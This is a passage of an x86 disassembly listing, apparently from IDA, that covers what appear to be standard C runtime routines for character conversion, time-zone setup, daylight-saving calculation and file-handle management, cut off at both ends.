		pop	ecx
		pop	ecx
		push	3
		call	sub_415C9A
; END OF FUNCTION CHUNK	FOR sub_418A1C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE16	proc near		; CODE XREF: sub_418BBD+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41BE39
		cmp	[ebp+arg_8], ebx
		jz	short loc_41BE39
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41BE3F
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41BE39
		mov	[eax], bx


loc_41BE39:				; CODE XREF: sub_41BE16+Cj
					; sub_41BE16+11j ...
		xor	eax, eax


loc_41BE3B:				; CODE XREF: sub_41BE16+42j
					; sub_41BE16+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41BE3F:				; CODE XREF: sub_41BE16+17j
		cmp	dword_7422B4, ebx
		jnz	short loc_41BE5A
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41BE55
		movzx	ax, al
		mov	[ecx], ax


loc_41BE55:				; CODE XREF: sub_41BE16+36j
					; sub_41BE16+C0j
		push	1
		pop	eax
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BE5A:				; CODE XREF: sub_41BE16+2Fj
		mov	ecx, off_4377B0
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41BEB7
		mov	eax, dword_4379BC
		cmp	eax, 1
		jle	short loc_41BE9E
		cmp	[ebp+arg_8], eax
		jl	short loc_41BEA8
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_7422C4
		call	dword_41F110	; MultiByteToWideChar
		test	eax, eax
		mov	eax, dword_4379BC
		jnz	short loc_41BE3B


loc_41BE9E:				; CODE XREF: sub_41BE16+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41BEA8
		cmp	[esi+1], bl
		jnz	short loc_41BE3B


loc_41BEA8:				; CODE XREF: sub_41BE16+61j
					; sub_41BE16+8Bj ...
		mov	dword_74222C, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41BE3B
; ---------------------------------------------------------------------------


loc_41BEB7:				; CODE XREF: sub_41BE16+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_7422C4
		call	dword_41F110	; MultiByteToWideChar
		test	eax, eax
		jnz	loc_41BE55
		jmp	short loc_41BEA8
sub_41BE16	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BEDE	proc near		; CODE XREF: sub_418BBD+76p
					; sub_418BBD+88p ...

arg_0		= dword	ptr  4

		cmp	dword_4379BC, 1
		jle	short loc_41BEF5
		push	8
		push	[esp+4+arg_0]
		call	sub_41686F
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41BEF5:				; CODE XREF: sub_41BEDE+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_4377B0
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41BEDE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BF10	proc near		; CODE XREF: sub_418BBD+797p
					; sub_418BBD+7E7p
		cmp	cl, 40h
		jnb	short loc_41BF2A
		cmp	cl, 20h
		jnb	short loc_41BF20
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------


loc_41BF20:				; CODE XREF: sub_41BF10+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------


loc_41BF2A:				; CODE XREF: sub_41BF10+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41BF10	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF2F	proc near		; CODE XREF: sub_419633+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41BF7B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41BF4D
		test	al, 80h
		jz	short loc_41BF7B
		test	al, 2
		jnz	short loc_41BF7B


loc_41BF4D:				; CODE XREF: sub_41BF2F+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41BF5A
		push	esi
		call	sub_41B388
		pop	ecx


loc_41BF5A:				; CODE XREF: sub_41BF2F+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41BF6A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41BF7B
		inc	eax
		mov	[esi], eax


loc_41BF6A:				; CODE XREF: sub_41BF2F+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41BF81
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41BF87
		inc	eax
		mov	[esi], eax


loc_41BF7B:				; CODE XREF: sub_41BF2F+9j
					; sub_41BF2F+18j ...
		or	eax, 0FFFFFFFFh


loc_41BF7E:				; CODE XREF: sub_41BF2F+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41BF81:				; CODE XREF: sub_41BF2F+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl


loc_41BF87:				; CODE XREF: sub_41BF2F+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41BF7E
sub_41BF2F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BF9D	proc near		; CODE XREF: sub_41966E:loc_4196ADp
		cmp	dword_7424E8, 0
		jnz	short locret_41BFB1
		call	sub_41BFB2
		inc	dword_7424E8

locret_41BFB1:				; CODE XREF: sub_41BF9D+7j
		retn
sub_41BF9D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BFB2	proc near		; CODE XREF: sub_41BF9D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_742430, ebp
		mov	dword_438208, ebx
		mov	dword_4381F8, ebx
		call	sub_41D5E6
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41C0DB
		push	offset dword_742438
		call	dword_41F150	; GetTimeZoneInformation
		cmp	eax, ebx
		jz	loc_41C20A
		mov	eax, dword_742438
		mov	ecx, dword_74248C
		imul	eax, 3Ch
		cmp	word_74247E, bp
		push	1
		pop	edx
		mov	dword_438160, eax
		mov	dword_742430, edx
		jz	short loc_41C029
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_438160, eax


loc_41C029:				; CODE XREF: sub_41BFB2+69j
		cmp	word_7424D2, bp
		jz	short loc_41C04D
		mov	eax, dword_7424E0
		cmp	eax, ebp
		jz	short loc_41C04D
		sub	eax, ecx
		mov	dword_438164, edx
		imul	eax, 3Ch
		mov	dword_438168, eax
		jmp	short loc_41C059
; ---------------------------------------------------------------------------


loc_41C04D:				; CODE XREF: sub_41BFB2+7Ej
					; sub_41BFB2+87j
		mov	dword_438164, ebp
		mov	dword_438168, ebp


loc_41C059:				; CODE XREF: sub_41BFB2+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_41F10C
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4381EC
		push	ebx
		push	offset dword_74243C
		push	edi
		push	dword_7422C4
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	short loc_41C096
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41C096
		mov	eax, off_4381EC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41C09E
; ---------------------------------------------------------------------------


loc_41C096:				; CODE XREF: sub_41BFB2+D1j
					; sub_41BFB2+D7j
		mov	eax, off_4381EC
		and	byte ptr [eax],	0


loc_41C09E:				; CODE XREF: sub_41BFB2+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4381F0
		push	ebx
		push	offset dword_742490
		push	edi
		push	dword_7422C4
		call	esi	; WideCharToMultiByte
		test	eax, eax
		jz	loc_41C202
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41C202
		mov	eax, off_4381F0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41C20A
; ---------------------------------------------------------------------------


loc_41C0DB:				; CODE XREF: sub_41BFB2+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41C20A
		mov	eax, dword_7424E4
		cmp	eax, ebp
		jz	short loc_41C0FE
		push	eax
		push	esi
		call	sub_413C30
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41C20A


loc_41C0FE:				; CODE XREF: sub_41BFB2+139j
		push	dword_7424E4
		call	sub_413F7F
		push	esi
		call	sub_413E90
		inc	eax
		push	eax
		call	sub_413F0B
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_7424E4, eax
		jz	loc_41C20A
		push	esi
		push	eax
		call	sub_414FB0
		push	3
		push	esi
		push	off_4381EC
		call	sub_415140
		mov	eax, off_4381EC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41C153
		push	1
		inc	esi
		pop	edi


loc_41C153:				; CODE XREF: sub_41BFB2+19Bj
		push	esi
		call	sub_413CF4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_438160, ecx


loc_41C16A:				; CODE XREF: sub_41BFB2+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41C178
		cmp	al, bl
		jl	short loc_41C17B
		cmp	al, 39h
		jg	short loc_41C17B


loc_41C178:				; CODE XREF: sub_41BFB2+1BCj
		inc	esi
		jmp	short loc_41C16A
; ---------------------------------------------------------------------------


loc_41C17B:				; CODE XREF: sub_41BFB2+1C0j
					; sub_41BFB2+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41C1CE
		inc	esi
		push	esi
		call	sub_413CF4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_438160
		add	ecx, eax
		mov	dword_438160, ecx


loc_41C199:				; CODE XREF: sub_41BFB2+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41C1A6
		cmp	al, 39h
		jg	short loc_41C1A6
		inc	esi
		jmp	short loc_41C199
; ---------------------------------------------------------------------------


loc_41C1A6:				; CODE XREF: sub_41BFB2+1EBj
					; sub_41BFB2+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41C1CE
		inc	esi
		push	esi
		call	sub_413CF4
		pop	ecx
		mov	ecx, dword_438160
		add	ecx, eax
		mov	dword_438160, ecx


loc_41C1C1:				; CODE XREF: sub_41BFB2+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41C1CE
		cmp	al, 39h
		jg	short loc_41C1CE
		inc	esi
		jmp	short loc_41C1C1
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41BFB2+1CCj
					; sub_41BFB2+1F7j ...
		cmp	edi, ebp
		jz	short loc_41C1DA
		neg	ecx
		mov	dword_438160, ecx


loc_41C1DA:				; CODE XREF: sub_41BFB2+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_438164, eax
		jz	short loc_41C202
		push	3
		push	esi
		push	off_4381F0
		call	sub_415140
		mov	eax, off_4381F0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41C20A
; ---------------------------------------------------------------------------


loc_41C202:				; CODE XREF: sub_41BFB2+10Bj
					; sub_41BFB2+115j ...
		mov	eax, off_4381F0
		and	byte ptr [eax],	0


loc_41C20A:				; CODE XREF: sub_41BFB2+40j
					; sub_41BFB2+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41BFB2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C210	proc near		; CODE XREF: sub_41966E+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_438164, edi
		jnz	short loc_41C224


loc_41C21D:				; CODE XREF: sub_41C210+148j
					; sub_41C210+150j ...
		xor	eax, eax
		jmp	loc_41C370
; ---------------------------------------------------------------------------


loc_41C224:				; CODE XREF: sub_41C210+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4381F8
		jnz	short loc_41C242
		cmp	eax, dword_438208
		jz	loc_41C344


loc_41C242:				; CODE XREF: sub_41C210+24j
		cmp	dword_742430, edi
		jz	loc_41C31A
		movzx	ecx, word_7424DE
		push	ecx
		cmp	word_7424D0, di
		movzx	ecx, word_7424DC
		push	ecx
		movzx	ecx, word_7424DA
		push	ecx
		movzx	ecx, word_7424D8
		push	ecx
		jnz	short loc_41C294
		movzx	ecx, word_7424D4
		push	edi
		push	ecx
		movzx	ecx, word_7424D6
		push	ecx
		movzx	ecx, word_7424D2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41C2A8
; ---------------------------------------------------------------------------


loc_41C294:				; CODE XREF: sub_41C210+65j
		movzx	ecx, word_7424D6
		push	ecx
		push	edi
		movzx	ecx, word_7424D2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_41C2A8:				; CODE XREF: sub_41C210+82j
		push	ebx
		call	sub_41C3BC
		movzx	eax, word_74248A
		add	esp, 2Ch
		cmp	word_74247C, di
		push	eax
		movzx	eax, word_742488
		push	eax
		movzx	eax, word_742486
		push	eax
		movzx	eax, word_742484
		push	eax
		jnz	short loc_41C302
		movzx	eax, word_742480
		push	edi
		push	eax
		movzx	eax, word_742482
		push	eax
		movzx	eax, word_74247E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_41C2F7:				; CODE XREF: sub_41C210+108j
		push	edi
		call	sub_41C3BC
		add	esp, 2Ch
		jmp	short loc_41C344
; ---------------------------------------------------------------------------


loc_41C302:				; CODE XREF: sub_41C210+C8j
		movzx	eax, word_742482
		push	eax
		push	edi
		movzx	eax, word_74247E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41C2F7
; ---------------------------------------------------------------------------


loc_41C31A:				; CODE XREF: sub_41C210+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41C3BC
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41C3BC
		add	esp, 58h


loc_41C344:				; CODE XREF: sub_41C210+2Cj
					; sub_41C210+F0j
		mov	edx, dword_4381FC
		mov	eax, dword_43820C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41C374
		cmp	ecx, edx
		jl	loc_41C21D
		cmp	ecx, eax
		jg	loc_41C21D
		cmp	ecx, edx
		jle	short loc_41C388
		cmp	ecx, eax
		jge	short loc_41C388


loc_41C36E:				; CODE XREF: sub_41C210+166j
					; sub_41C210+16Aj
		mov	eax, ebx


loc_41C370:				; CODE XREF: sub_41C210+Fj
					; sub_41C210+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C374:				; CODE XREF: sub_41C210+144j
		cmp	ecx, eax
		jl	short loc_41C36E
		cmp	ecx, edx
		jg	short loc_41C36E
		cmp	ecx, eax
		jle	short loc_41C388
		cmp	ecx, edx
		jl	loc_41C21D


loc_41C388:				; CODE XREF: sub_41C210+158j
					; sub_41C210+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41C3AF
		xor	ecx, ecx
		cmp	eax, dword_438200
		setnl	cl


loc_41C3AB:				; CODE XREF: sub_41C210+1AAj
		mov	eax, ecx
		jmp	short loc_41C370
; ---------------------------------------------------------------------------


loc_41C3AF:				; CODE XREF: sub_41C210+18Ej
		xor	ecx, ecx
		cmp	eax, dword_438210
		setl	cl
		jmp	short loc_41C3AB
sub_41C210	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C3BC	proc near		; CODE XREF: sub_41C210+99p
					; sub_41C210+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41C457
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41C3E7
		shl	esi, 2
		mov	eax, dword_438210[esi]
		jmp	short loc_41C3F0
; ---------------------------------------------------------------------------


loc_41C3E7:				; CODE XREF: sub_41C3BC+1Ej
		shl	esi, 2
		mov	eax, dword_438244[esi]


loc_41C3F0:				; CODE XREF: sub_41C3BC+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41C42A
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41C434
; ---------------------------------------------------------------------------


loc_41C42A:				; CODE XREF: sub_41C3BC+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_41C434:				; CODE XREF: sub_41C3BC+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41C472
		cmp	[ebp+arg_8], 0
		jnz	short loc_41C448
		mov	esi, dword_438214[esi]
		jmp	short loc_41C44E
; ---------------------------------------------------------------------------


loc_41C448:				; CODE XREF: sub_41C3BC+82j
		mov	esi, dword_438248[esi]


loc_41C44E:				; CODE XREF: sub_41C3BC+8Aj
		cmp	ecx, esi
		jle	short loc_41C472
		sub	ecx, 7
		jmp	short loc_41C472
; ---------------------------------------------------------------------------


loc_41C457:				; CODE XREF: sub_41C3BC+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41C468
		mov	ecx, dword_438210[eax*4]
		jmp	short loc_41C46F
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C3BC+A1j
		mov	ecx, dword_438244[eax*4]


loc_41C46F:				; CODE XREF: sub_41C3BC+AAj
		add	ecx, [ebp+arg_18]


loc_41C472:				; CODE XREF: sub_41C3BC+7Cj
					; sub_41C3BC+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41C4A3
		mov	eax, [ebp+arg_1C]
		mov	dword_4381FC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4381F8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_438200, eax
		jmp	short loc_41C4F8
; ---------------------------------------------------------------------------


loc_41C4A3:				; CODE XREF: sub_41C3BC+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43820C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_438168
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_438210, eax
		jns	short loc_41C4DB
		add	eax, 5265C00h
		dec	ecx
		mov	dword_438210, eax
		jmp	short loc_41C4EC
; ---------------------------------------------------------------------------


loc_41C4DB:				; CODE XREF: sub_41C3BC+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41C4F2
		sub	eax, edx
		inc	ecx
		mov	dword_438210, eax


loc_41C4EC:				; CODE XREF: sub_41C3BC+11Dj
		mov	dword_43820C, ecx


loc_41C4F2:				; CODE XREF: sub_41C3BC+126j
		mov	dword_438208, ebx


loc_41C4F8:				; CODE XREF: sub_41C3BC+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C3BC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C4FC	proc near		; CODE XREF: sub_41C716:loc_41C88Ep
		push	ebx
		push	esi
		push	edi
		or	ebx, 0FFFFFFFFh
		xor	edi, edi
		xor	esi, esi
		mov	ecx, offset dword_743540


loc_41C50B:				; CODE XREF: sub_41C4FC+48j
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_41C548
		lea	edx, [eax+100h]


loc_41C517:				; CODE XREF: sub_41C4FC+28j
		cmp	eax, edx
		jnb	short loc_41C537
		test	byte ptr [eax+4], 1
		jz	short loc_41C526
		add	eax, 8
		jmp	short loc_41C517
; ---------------------------------------------------------------------------


loc_41C526:				; CODE XREF: sub_41C4FC+23j
		or	dword ptr [eax], 0FFFFFFFFh
		sub	eax, [ecx]
		sar	eax, 3
		add	eax, esi
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jnz	short loc_41C58B


loc_41C537:				; CODE XREF: sub_41C4FC+1Dj
		add	ecx, 4
		inc	edi
		add	esi, 20h
		cmp	ecx, offset dword_743640
		jl	short loc_41C50B
		jmp	short loc_41C58B
; ---------------------------------------------------------------------------


loc_41C548:				; CODE XREF: sub_41C4FC+13j
		mov	esi, 100h
		push	esi
		call	sub_413F0B
		test	eax, eax
		pop	ecx
		jz	short loc_41C58B
		add	dword_743640, 20h
		lea	ecx, ds:743540h[edi*4]
		lea	edx, [eax+100h]
		mov	[ecx], eax


loc_41C56E:				; CODE XREF: sub_41C4FC+88j
		cmp	eax, edx
		jnb	short loc_41C586
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	edx, [ecx]
		add	eax, 8
		add	edx, esi
		jmp	short loc_41C56E
; ---------------------------------------------------------------------------


loc_41C586:				; CODE XREF: sub_41C4FC+74j
		shl	edi, 5
		mov	ebx, edi


loc_41C58B:				; CODE XREF: sub_41C4FC+39j
					; sub_41C4FC+4Aj ...
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41C4FC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C591	proc near		; CODE XREF: sub_41C716+1F4p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_743640
		push	edi
		jnb	short loc_41C5F1
		mov	ecx, eax
		mov	esi, eax
		sar	ecx, 5
		and	esi, 1Fh
		lea	edi, ds:743540h[ecx*4]
		shl	esi, 3
		mov	ecx, [edi]
		cmp	dword ptr [ecx+esi], 0FFFFFFFFh
		jnz	short loc_41C5F1
		cmp	dword_4377A4, 1
		push	ebx
		mov	ebx, [esp+0Ch+arg_4]
		jnz	short loc_41C5E7
		sub	eax, 0
		jz	short loc_41C5DE
		dec	eax
		jz	short loc_41C5D9
		dec	eax
		jnz	short loc_41C5E7
		push	ebx
		push	0FFFFFFF4h
		jmp	short loc_41C5E1
; ---------------------------------------------------------------------------


loc_41C5D9:				; CODE XREF: sub_41C591+3Ej
		push	ebx
		push	0FFFFFFF5h
		jmp	short loc_41C5E1
; ---------------------------------------------------------------------------


loc_41C5DE:				; CODE XREF: sub_41C591+3Bj
		push	ebx
		push	0FFFFFFF6h


loc_41C5E1:				; CODE XREF: sub_41C591+46j
					; sub_41C591+4Bj
		call	dword_41F018	; SetStdHandle


loc_41C5E7:				; CODE XREF: sub_41C591+36j
					; sub_41C591+41j
		mov	eax, [edi]
		mov	[eax+esi], ebx
		xor	eax, eax
		pop	ebx
		jmp	short loc_41C605
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C591+Cj
					; sub_41C591+28j
		and	dword_742230, 0
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh


loc_41C605:				; CODE XREF: sub_41C591+5Ej
		pop	edi
		pop	esi
		retn
sub_41C591	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C608	proc near		; CODE XREF: sub_419730+7Cp

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	esi
		cmp	ecx, dword_743640
		push	edi
		jnb	short loc_41C66B
		mov	eax, ecx
		mov	esi, ecx
		sar	eax, 5
		and	esi, 1Fh
		lea	edi, ds:743540h[eax*4]
		shl	esi, 3
		mov	eax, [edi]
		add	eax, esi
		test	byte ptr [eax+4], 1
		jz	short loc_41C66B
		cmp	dword ptr [eax], 0FFFFFFFFh
		jz	short loc_41C66B
		cmp	dword_4377A4, 1
		jnz	short loc_41C661
		xor	eax, eax
		sub	ecx, eax
		jz	short loc_41C658
		dec	ecx
		jz	short loc_41C653
		dec	ecx
		jnz	short loc_41C661
		push	eax
		push	0FFFFFFF4h
		jmp	short loc_41C65B
; ---------------------------------------------------------------------------


loc_41C653:				; CODE XREF: sub_41C608+41j
		push	eax
		push	0FFFFFFF5h
		jmp	short loc_41C65B
; ---------------------------------------------------------------------------


loc_41C658:				; CODE XREF: sub_41C608+3Ej
		push	eax
		push	0FFFFFFF6h


loc_41C65B:				; CODE XREF: sub_41C608+49j
					; sub_41C608+4Ej
		call	dword_41F018	; SetStdHandle


loc_41C661:				; CODE XREF: sub_41C608+38j
					; sub_41C608+44j
		mov	eax, [edi]
		or	dword ptr [eax+esi], 0FFFFFFFFh
		xor	eax, eax
		jmp	short loc_41C67F
; ---------------------------------------------------------------------------


loc_41C66B:				; CODE XREF: sub_41C608+Cj
					; sub_41C608+2Aj ...
		and	dword_742230, 0
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh


loc_41C67F:				; CODE XREF: sub_41C608+61j
		pop	edi
		pop	esi
		retn
sub_41C608	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C682	proc near		; CODE XREF: sub_419730+32p
					; sub_419730+49p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_743640
		jnb	short loc_41C6AA
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_743540[ecx*4]
		test	byte ptr [ecx+eax*8+4],	1
		lea	eax, [ecx+eax*8]
		jz	short loc_41C6AA
		mov	eax, [eax]
		retn
; ---------------------------------------------------------------------------


loc_41C6AA:				; CODE XREF: sub_41C682+Aj
					; sub_41C682+23j
		and	dword_742230, 0
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh
		retn
sub_41C682	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C6BF	proc near		; CODE XREF: sub_41980E+2Bp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_743640
		jnb	short loc_41C708
		mov	ecx, eax
		mov	edx, eax
		sar	ecx, 5
		and	edx, 1Fh
		mov	ecx, dword_743540[ecx*4]
		test	byte ptr [ecx+edx*8+4],	1
		jz	short loc_41C708
		push	eax
		call	sub_41C682
		pop	ecx
		push	eax
		call	dword_41F014	; FlushFileBuffers
		test	eax, eax
		jnz	short loc_41C6FD
		call	dword_41F06C	; RtlGetLastWin32Error
		jmp	short loc_41C6FF
; ---------------------------------------------------------------------------


loc_41C6FD:				; CODE XREF: sub_41C6BF+34j
		xor	eax, eax


loc_41C6FF:				; CODE XREF: sub_41C6BF+3Cj
		test	eax, eax
		jz	short locret_41C715
		mov	dword_742230, eax


loc_41C708:				; CODE XREF: sub_41C6BF+Aj
					; sub_41C6BF+22j
		mov	dword_74222C, 9
		or	eax, 0FFFFFFFFh

locret_41C715:				; CODE XREF: sub_41C6BF+42j
		retn
sub_41C6BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C716	proc near		; CODE XREF: sub_419BEA+13Fp

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	ecx, [ebp+arg_4]
		push	ebx
		xor	ebx, ebx
		push	esi
		test	cl, 80h
		push	edi
		mov	[ebp+var_1C], 0Ch
		mov	[ebp+var_18], ebx
		jz	short loc_41C73C
		mov	[ebp+var_14], ebx
		mov	[ebp+var_1], 10h
		jmp	short loc_41C747
; ---------------------------------------------------------------------------


loc_41C73C:				; CODE XREF: sub_41C716+1Bj
		and	[ebp+var_1], 0
		mov	[ebp+var_14], 1


loc_41C747:				; CODE XREF: sub_41C716+24j
		mov	eax, 8000h
		test	ecx, eax
		jnz	short loc_41C761
		test	ch, 40h
